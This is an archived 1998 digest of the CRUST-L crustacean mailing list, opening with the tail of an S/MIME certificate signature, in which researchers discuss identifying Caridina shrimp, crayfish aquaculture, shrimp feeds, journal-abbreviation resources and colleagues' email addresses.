vuNbzQaot3kdRCrtc/KxUoNoEHBkkdc+a/n3XZ0UQ5tul0WYgUfRLcvdu3LXTD9xquJA8lQ5 vBbuz3zsuts/bCqzFrGGEp2ukzTVuNXQ9z6pAgMBAAGjMzAxMA8GA1UdEwQIMAYBAf8CAQEw CwYDVR0PBAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIBBjANBgkqhkiG9w0BAQIFAAOBgQDB+vcC 51fKEXXGnAz6K3dPh0UXO+PSwdoPWDmOrpWZA6GooTj+eZqTFwuXhjnHymg0ZrvHiEX2yAwF 7r6XJe/g1G7kf512XM59uhSirguf+2dbSKVnJa8ZZIj2ctgpJ6o3EmqxKK8ngxhlbI3tQJ5N xHiohuzpLFC/pvkN27CmSjCCAjEwggGaAgUCpAAAATANBgkqhkiG9w0BAQIFADBfMQswCQYD VQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDEgUHVi bGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNOTYwMTI5MDAwMDAwWhcN OTkxMjMxMjM1OTU5WjBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4x NzA1BgNVBAsTLkNsYXNzIDEgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAOUZv22jVmEtmUhx9mfeuY3rt56GgAqR Dvo4Ja9GiILlc6igmyRdDR/MZW4MsNBWhBiHmgabEKFz37RYOWtuwfYV1aioP6oSBo0xrH+w NNePNGeICc0UEeJORVZpH3gCgNrcR5EpuzbJY1zF4Ncth3uhtzKwezC6Ki8xqu6jZ9rbAgMB AAEwDQYJKoZIhvcNAQECBQADgYEAUnO6mlXc3D+CfbCQmGIqgkx2AG4lPdXCCXBXAQwPdx8Y ofscYA6gdTtJIUH+p1wtTEJJ0/8o2Izqnf7JB+J3glMj3lXzzkST+vpMvco281tmsp7I8gxe XtShtCEJM8o7WfySwjj8rdmWJOAt+qMp9TNoeE60vJ9pNeKomJRzO8QxggFaMIIBVgIBATB2 MGIxETAPBgNVBAcTCEludGVybmV0MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE0MDIGA1UE CxMrVmVyaVNpZ24gQ2xhc3MgMSBDQSAtIEluZGl2aWR1YWwgU3Vic2NyaWJlcgIQUcSTYKrh duIoCWMXjeKFSDAJBgUrDgMCGgUAoH0wGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkq hkiG9w0BCQUxDxcNOTgwNDA1MTEyOTQxWjAeBgkqhkiG9w0BCQ8xETAPMA0GCCqGSIb3DQMC AgEoMCMGCSqGSIb3DQEJBDEWBBRiDKaigmCFh3BJc8fOKs9aPRt42jANBgkqhkiG9w0BAQEF AARARCEg1slZbw+ke0znAnZbJAVO3dd1Hi1agaC1bStOQKCeafoEwMhFRh7T/B28Wjvuxcss 8U5izP5/HbQIlXg2TQ== - --------------ms1879D6E6C6F05778566BBFEC-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Sun, 05 Apr 1998 21:31:26 -0400 Subject: CRUST-L: Identifying Caridinas? Hi How many species there is in the genus Caridina? Is it possible at all to identify even some species of this genus just by looking a photo? A friend of mine is publishing soon an aquarium CD. He will put there a photo of Caridina sp. You can see the species here: http://www.dlc.fi/~jarvij/caridina.htm Can he say anything more than a Caridina sp as a photo text? Could some one of the list members identify the species? Thanks Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Choy Satish Date: Mon, 6 Apr 1998 09:22:07 +1000 Subject: CRUST-L: Caridina Jari, There are at least 30 described species of Caridina, some of which are of dubious status. Many species (eg. Caridina nilotica) are in need of taxonomic revision. It is possible to identify some species just from photographs. However, because colour patterns and markings can be variable, the only certain way of identification is by examining the specimens themselves. The specimen in the photographs can be any of several Caridina species (eg. Caridina japonica, C. typus, etc.) or even small specimens of the old "Atya" group (eg. Ayopsis pilipes, juvenile Atyoida spinipes, etc.). Both Macrobrachium and the atyids (Caridina spp.) contain species whose eggs hatch at different stages of larval development (ie. "normal" (8-12 larval stages, many of which are planktonic), "abbreviated" (<8 larval stages, some of which may be planktonic) and "direct" (<3 larval stages, none of which are planktonic and are all benthonic). Even though egg size of a species can be highly variable, egg size can generally be an indicator of the type of larval development the species exhibits. For example, a species with numerous, small eggs (eg. Caridina gracilirostris, C. typus) suggests prolonged multi-staged planktonic development and possibly saline tolerance or requirement. A species with few large eggs suggests abbreviated or direct development, not requiring saline water for development (eg. high altitude and land-locked species generally exhibit this strategy; Caridina nudirostris, C. fijiana). Regards Satish =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 6 Apr 1998 12:57:24 -0400 (EDT) Subject: CRUST-L: Bounced messages > Thanks Jeff, but what means, it bounced from the list? Anything wrong with > the address? For some reason I frequently get bounces from European email addresses. A bounce means that a message comes to me (list administator) instead of directly to the list. I usually forward the "bounced" message directly to the list (hence the large number of forwards from me). I've tried a couple of things to minimize bounced messages. For example, I've changed a switch in the software that allows the shortened use of domain names instead of full email addresses (full=@your.place.domain.edu; domain=@domain.edu). I think the hyphen (-) in some addresses may be causing the software problem. Unfortunately, I'm usually too busy to ferret out the problem. If you experience a large number of bounced messages (your message getting forwarded by me), then you may want to unsubscribe then resubscribe. In some cases your system administrator has performed a transparent change to your email address that is not so transparent to some email mailers. Cheers, Jeff =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Revista AquaTIC Date: Sun, 05 Apr 1998 15:42:34 +0200 Subject: CRUST-L: FREE PAGES for announce your congress or course Dear Friends The magazine on line AquaTIC offers you free pages for announce your congress, course, symposium or workshop. For the moment information about more than 50 courses and 60 congress are available in: http://aquatic.unizar.es/cursos/cc.htm This offer is for organizations that they cannot prepare his own pages and it is absolutly FREE. Only they must send us information about the event and we will prepare a page like this: http://aquatic.unizar.es/cursos/co3.htm or this: http://aquatic.unizar.es/cursos/cu3.htm Thanks in advance NACHO DE BLAS ********************************************* Revista AquaTIC http://aquatic.unizar.es Jose Luis Muzquiz. Director. Ignacio de Blas. Redactor. Fac. Veterinaria. Univ. Zaragoza c/ Miguel Servet 177 50.013 Zaragoza Tel.: 976 76 15 69 Fax: 976 76 16 12 ********************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #133 ***************************** From owner-crust-l Thu Apr 9 14:26:12 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id OAA27328 for crust-l-digest-outgoing; Thu, 9 Apr 1998 14:16:59 -0400 Date: Thu, 9 Apr 1998 14:16:59 -0400 Message-Id: <199804091816.OAA27328@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #134 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 8 crust-l-digest Thursday, 9 April 1998 Volume 01 : Number 134 CRUST-L: Re: Caridina CRUST-L: SOUTH AFRICA AQUACULTURE CRUST-L: Journals titles and abbreviations-Summary CRUST-L: Artificial freshwater (fwd) CRUST-L: Crayfish Purging CRUST-L: list of journal abbreviations CRUST-L: shrimp feeds Re: CRUST-L: list of journal abbreviations CRUST-L: Shrimp feeds CRUST-L: shrimp feed (fwd) CRUST-L: e_address CRUST-L: Villalon e-mail ? CRUST-L: Biological Invasions (a new journal): Call For Papers CRUST-L: RE: Dr. Sandra Gilchrist e_address ---------------------------------------------------------------------- From: Jeffrey Shields Date: Mon, 6 Apr 1998 19:35:19 -0400 (EDT) Subject: CRUST-L: Re: Caridina Please respond to Choy Satish or the list, but not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Choy Satish To: "'jaris@aqvaari.pp.fi'" , Subject: RE: CRUST-L: Caridina Date: Tue, 7 Apr 1998 08:45:50 +1000 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Jari, 4 cm does seem rather large for an ovigerous C. japonica specimen. Most early larvae of Caridina are very similar to each other, until they get to later stages and so the diagram may not be of much help. The larvae of C. japonica has been described but I doubt if it would be of much help in your case. What was/is the size of the eggs? Can you count the number of teeth on the rostrum of your adult specimens? This may provide some clue. Apart from measuring the various body parts (ratios) and/or counting certain attributes (eg. no. spines on the dactylus of the pereiopods (legs), spines on the diaresis of the exopod of the uropod (tail fan), etc.), there is very little that can be done to confirm the identity of a Caridina species. Satish >---------- >From: Jari Sandqvist[SMTP:jaris@aqvaari.pp.fi] >Sent: Tuesday, April 07, 1998 11:39 AM >To: Choy Satish >Subject: Re: CRUST-L: Caridina > >Choy Satish wrote: > > > >Hi Choy > >At first. Thanks for your answers, they were very helpful. > >> >> Jari, >> >> The >> specimen in the photographs can be any of several Caridina species (eg. >> Caridina japonica, C. typus, etc.) or even small specimens of the old >> "Atya" group (eg. Ayopsis pilipes, juvenile Atyoida spinipes, etc.). >> > >Does it help if I tell you that the female of this species did get >ovigerous at the lenght of 4 cm? The shrimp were sold in the pet store >as C. japonica. > >BTW, what then, if my friend will draw a picture of the newly hatched >fry. Would it be possible to identify the species then? > >Thanks > >Jari Sandqvist > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: clawrence@fish.wa.gov.au Date: Tue, 7 Apr 1998 09:44:28 +0800 Subject: CRUST-L: SOUTH AFRICA AQUACULTURE Hi I have over the years had a number of anecdotal reports of Cherax spp. (marron and yabbies) being farmed/considered for farming in South Africa. Can anyone confirm whether farms in South Africa are currently producing marron and/or yabbies? If so, do you know where the farms are located? and what levels of production are being achieved? Regards Craig <>< <>< <>< <>< <>< <>< <>< Craig Lawrence Research Scientist (Aquaculture) Fisheries Western Australia Fisheries Research Division WA Marine Research Laboratories Ph +61 9 246 8461 Fax +61 9 447 3062 Email clawrence@fish.wa.gov.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carlo Pipitone Date: Tue, 07 Apr 1998 11:12:18 +0200 Subject: CRUST-L: Journals titles and abbreviations-Summary ***Sorry for crosposting*** - --------------------------- Dear listfellows, I wish to thank all those who replied to my query about websites containing abbreviations and full title of scientific journals. Here is a summary of the received answers: http://161.55.72.103/styleman/bindex.htm http://arachne.prl.msu.edu/journams/ http://www.esd.ornl.gov/journals.html http://www.csa.com/helpV3/ssrclist.html http://www.brzn.de/cgi-bin/nph-wwwredir/www.brzn.de:48601/ Some more information: - - Alkire, Leland G. Jr.: Periodical Title Abbreviations; By Abbreviation; Vol. 1. 11th ed. Detroit, Gale Research, Incorporated, Sept. 1997. - - Alkire, Leland G. Jr.: Periodical Title Abbreviations; By Title; Vol. 2. 11th ed. Detroit, Gale Research, Incorporated, Sept. 1997. - - Alkire, Leland G. Jr.: New Periodical Title Abbreviations; Vol. 3. 10th ed. Detroit, Gale Research, Incorporated, Sept. 1996 (out of print). The publisher is: Gale Research, Inc., 835 Penobscot Bldg. Detroit, MI 48226-4094 Local 313-961-2242 FAX 313-961-6083 Toll Free 800-877-4253. Biosis - Serial Sources. Thompson Henry Ltd. (thl@tomhen.demon.co.uk). A list of old journals is contained in vol. XLIII (1906) of the "Zoological Record". Regards, Carlo Pipitone ***************************************** Carlo Pipitone - -------- CNR-ITPP Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 7 Apr 1998 10:26:33 -0400 (EDT) Subject: CRUST-L: Artificial freshwater (fwd) Please respond to Sujatha Herath and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Herath K Sujatha Herath To: crust-l@vims.edu Subject: Artificial freshwater Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am looking for a reference on artificial pond water; soft, medium and hard water. I was informed a reference but it is not available in Australia and could anyone can help me to get the relevant page would be highly appreciated. Environmental Protection Agency, 1991. Methods of measuring the acute toxicity of effluents and receiving waters to freshwater and marine organisms. Fourth edition. EPA 6004 4-90 o27. Enviro. Protect. Agency, Washington D.C., 293pp ( please check the page no is correct) Thank you in advance Sujatha Herath fax +61 3 9662 3421 Royal Melborne Institute of Technology =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: patf@cloud.net.au (Peter Farrell) Date: Tue, 07 Apr 1998 00:23:00 +1000 Subject: CRUST-L: Crayfish Purging G'day Listers I'm looking for anything, scientific or popular, in the literature that makes reference to crustacean/crayfish purging systems. There would appear to be a dearth of information regarding this topic, perhaps interested list members will be willing to share their personal observations. Thanks Peter Farrell RMIT University Melbourne Australia P.S. Cross-posted in both Aqua-L and Crust-L lists.... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Dieter Walossek Date: Wed, 8 Apr 98 10:39 MET DST Subject: CRUST-L: list of journal abbreviations Dear Crustlers, a few days ago, there was a request for information on journal abbreviations. I think it is very good to have such an information since some journals require full titles and others abbreviated ones in reference lists. So I have tried the list of URLs kindly summarized by Carlo Pipitone for us. Trying these, I found out that the first three did not even mention our Journal of Crustacean Biology (Helgolaender wiss. Meeresuntersuchungen would have been much too exotic to even try). CSA is a commercial company that does not allow for tries without subscription (ASFA etc.), and the last url is a link to one of the German library Verbuende (joint systems ???) where I could not find anything like abbreviations of Journal titels. So, has anyone made similar experiences or even has better suggestions where to find such list? DIETER Here is a summary of the received answers, provided by Carlo: http://161.55.72.103/styleman/bindex.htm http://arachne.prl.msu.edu/journams/ http://www.esd.ornl.gov/journals.html http://www.csa.com/helpV3/ssrclist.html http://www.brzn.de/cgi-bin/nph-wwwredir/www.brzn.de:48601/ University professor and head of the Section for Biosystematic Documentation University of Ulm, Helmholtzstrasse 20, 89081 Ulm, Germany phone 0731-50-31000, 50-31001, Fax 50-31009 e-mail: dieter.walossek@biologie.uni-ulm.de >>>>> Important: old address will be no longer availabe after this date!! <<<<< http://www.biologie.uni-ulm.de/biosysdoc/ Note also the homepage of the newly founded >>Gesellschaft fuer Biologische Systematik<<: http://www.biologie.uni-ulm.de/biosysdoc/gesfbsys.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Tiziano Scovacricchi" Date: Wed, 8 Apr 1998 12:52:24 +0200 Subject: CRUST-L: shrimp feeds Messaggio a piy sezioni in formato MIME. - ------=_NextPart_000_0009_01BD62ED.2D78BAE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear friends, might anybody help me in contacting firms producing and selling feeds = (starters and growers) for Penaeus japonicus ? Up to now there are no commercial diets available on Italian market and = this make very difficult shrimp farming development. in this area. Firm internet addresses might help as well. Thank you so much. Tiziano Scovacricchi C.N.R. Istituto di Biologia del Mare Riva Sette Martiri, 1364/a 30122 Venezia Italia tel (041) 520.76.22 fax (041) 520.41.26 e-mail tisco@ibm.ve.cnr.it - ------=_NextPart_000_0009_01BD62ED.2D78BAE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Dear friends,
     
    might anybody help me in contacting = firms=20 producing and selling feeds (starters and growers) for Penaeus japonicus = ?
    Up to now there are no commercial = diets=20 available on Italian market and this make very difficult shrimp farming=20 development.
    in this area.
    Firm internet addresses might help = as=20 well.
    Thank you so much.
     
    Tiziano Scovacricchi
     
    C.N.R.
    Istituto di Biologia del = Mare
    Riva Sette Martiri, = 1364/a
    30122 Venezia
    Italia
    tel (041) 520.76.22
    fax (041) 520.41.26
    e-mail tisco@ibm.ve.cnr.it
     
    - ------=_NextPart_000_0009_01BD62ED.2D78BAE0-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carlo Pipitone Date: Wed, 08 Apr 1998 14:24:35 +0200 Subject: Re: CRUST-L: list of journal abbreviations At 10.39 08/04/98 DST, Dieter Walossek wrote: >Dear Crustlers, >a few days ago, there was a request for information on journal >abbreviations. I think it is very good to have such an information since >some journals require full titles and others abbreviated ones in reference >lists. So I have tried the list of URLs kindly summarized by Carlo Pipitone >for us. Trying these, I found out that the first three did not even mention >our Journal of Crustacean Biology (Helgolaender wiss. Meeresuntersuchungen >would have been much too exotic to even try). CSA is a commercial company >that does not allow for tries without subscription (ASFA etc.), and the >last url is a link to one of the German library Verbuende (joint systems >???) where I could not find anything like abbreviations of Journal titels. > >So, has anyone made similar experiences or even has better suggestions >where to find such list? > >DIETER > >Here is a summary of the received answers, provided by Carlo: > >http://161.55.72.103/styleman/bindex.htm >http://arachne.prl.msu.edu/journams/ >http://www.esd.ornl.gov/journals.html >http://www.csa.com/helpV3/ssrclist.html >http://www.brzn.de/cgi-bin/nph-wwwredir/www.brzn.de:48601/ Dear listfellows, Dieter is right to a great extent. Unfortunately such online lists are far from complete. Anyway, while thanking Dieter for his specifications, some small corrections to what he states (and to what I reported in my summary) are still needed. 1) CSA site (http://www.csa.com/helpV3/ssrclist.html): you should click the "Aquatic Sciences" link, then one of the "Search" links which appeared on your screen (e.g. "Biological Sciences and Living Resources, ASFA-1"): this will bring you to a search form in which you can either input the abbreviated title or the complete title. You can even use this form in order to search for all journals containing a particular word (e.g. CELL will hit eight journal names). To be quicker, use the following as your bookmark: http://www.csa.com/htbin/srcsrch.cgi?dbs=www.csa.com+210+/wais/indexes/srcjn l/asfa001-src . I guess this site should be complete, because I believe it contains all the journal names reported in ASFA. 2) the last URL must be corrected (sorry for that! something went wrong with the bookmark!). The right one is: http://www.brzn.de/cgi-bin/nph-wwwobnmenu?PAGE=OBNACCESS&LANG=EN&EXT=ON . This page is in English. You should click on "GBV Online Retrieval- and Ordersystem", and a search form will appear. Just input your abbreviation and the complete title will/might be displayed. DO NOT TRY TO BOOKMARK THE SEARCH PAGE - IT WILL NOT WORK! (Don't ask me why!) :-) Sorry for the confusion. Regards, Carlo ***************************************** Carlo Pipitone - -------- CNR-ITPP Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Eric De Muylder Date: Thu, 09 Apr 1998 09:08:49 +0200 Subject: CRUST-L: Shrimp feeds Dear Tiziano, Our company VDS can supply you good quality shrimp feeds from our specialised shrimp feed mill situated in Seychelles. Please take a look at http://users.skynet.be/vds/ for more information about the feedmill, results in our shrimp farm and shrimp feed specifications. Best regards, Eric De Muylder VDS bvba Paanderstraat 40 8540 Deerlijk Belgium Phone : (32) 56 71 91 68 Fax : (32) 56 70 50 47 e-mail : vds.bvba@skynet.be URL : http://users.skynet.be/vds/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 9 Apr 1998 09:05:28 -0400 (EDT) Subject: CRUST-L: shrimp feed (fwd) Please respond to Jari Sandqvist or the list, and not to me. THanks, Jeff - ---------- Forwarded message ---------- From: Jari Sandqvist Reply-To: jaris@aqvaari.pp.fi X-Mailer: Mozilla 3.0 (Win16; I) MIME-Version: 1.0 To: Tiziano Scovacricchi , crust-l@vims.edu Subject: Re: CRUST-L: shrimp feeds References: <000c01bd62dc$6ab95560$a02ab296@scova.ibm.ve.cnr.it> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Tiziano Scovacricchi wrote: > > Dear friends, > > might anybody help me in contacting firms producing and selling feeds > (starters and growers) for Penaeus japonicus ? > Up to now there are no commercial diets available on Italian market > and this make very difficult shrimp farming development. > in this area. Hi Maybe a stupid question: But couldn't I use the commercial aquarium fish fry feeds for feeding the fry of shrimps? I think they mainly includes egg yolk and yeast. Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "dunham" Date: Wed, 8 Apr 1998 15:29:05 -0400 Subject: CRUST-L: e_address CRUSTers - Does anyone have a current e_address for Dr. Sandra Gilchrist, University of South Flordia at Sarsota? Merci David Dunham - ---------------------------------------------------------------------------- - --- David W. Dunham dunham@zoo.utoronto.ca Department of Zoology, University of Toronto Toronto, Canada Fax 416-978-8532 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Tiziano Scovacricchi" Date: Thu, 9 Apr 1998 16:41:59 +0200 Subject: CRUST-L: Villalon e-mail ? Messaggio a piy sezioni in formato MIME. - ------=_NextPart_000_0014_01BD63D6.6A838FC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear CRUSTers - Does anyone have a current e_address for Jos=E8 R. Villalon (author of = Practical manual for semi-intensive commercial production of marine = shrimp) ? Thank you. Tiziano Scovacricchi CNR Istituto di Biologia del Mare Riva Sette Martiri, 1364/a 30122 Venezia e-mail tisco@ibm.ve.cnr.it - ------=_NextPart_000_0014_01BD63D6.6A838FC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Dear CRUSTers -
    Does anyone have a current e_address for Josè R. Villalon = (author of=20 Practical manual for semi-intensive commercial production of marine = shrimp)=20 ?
    Thank you.
    Tiziano Scovacricchi
    CNR
    Istituto di Biologia del Mare
    Riva Sette Martiri, 1364/a
    30122 Venezia
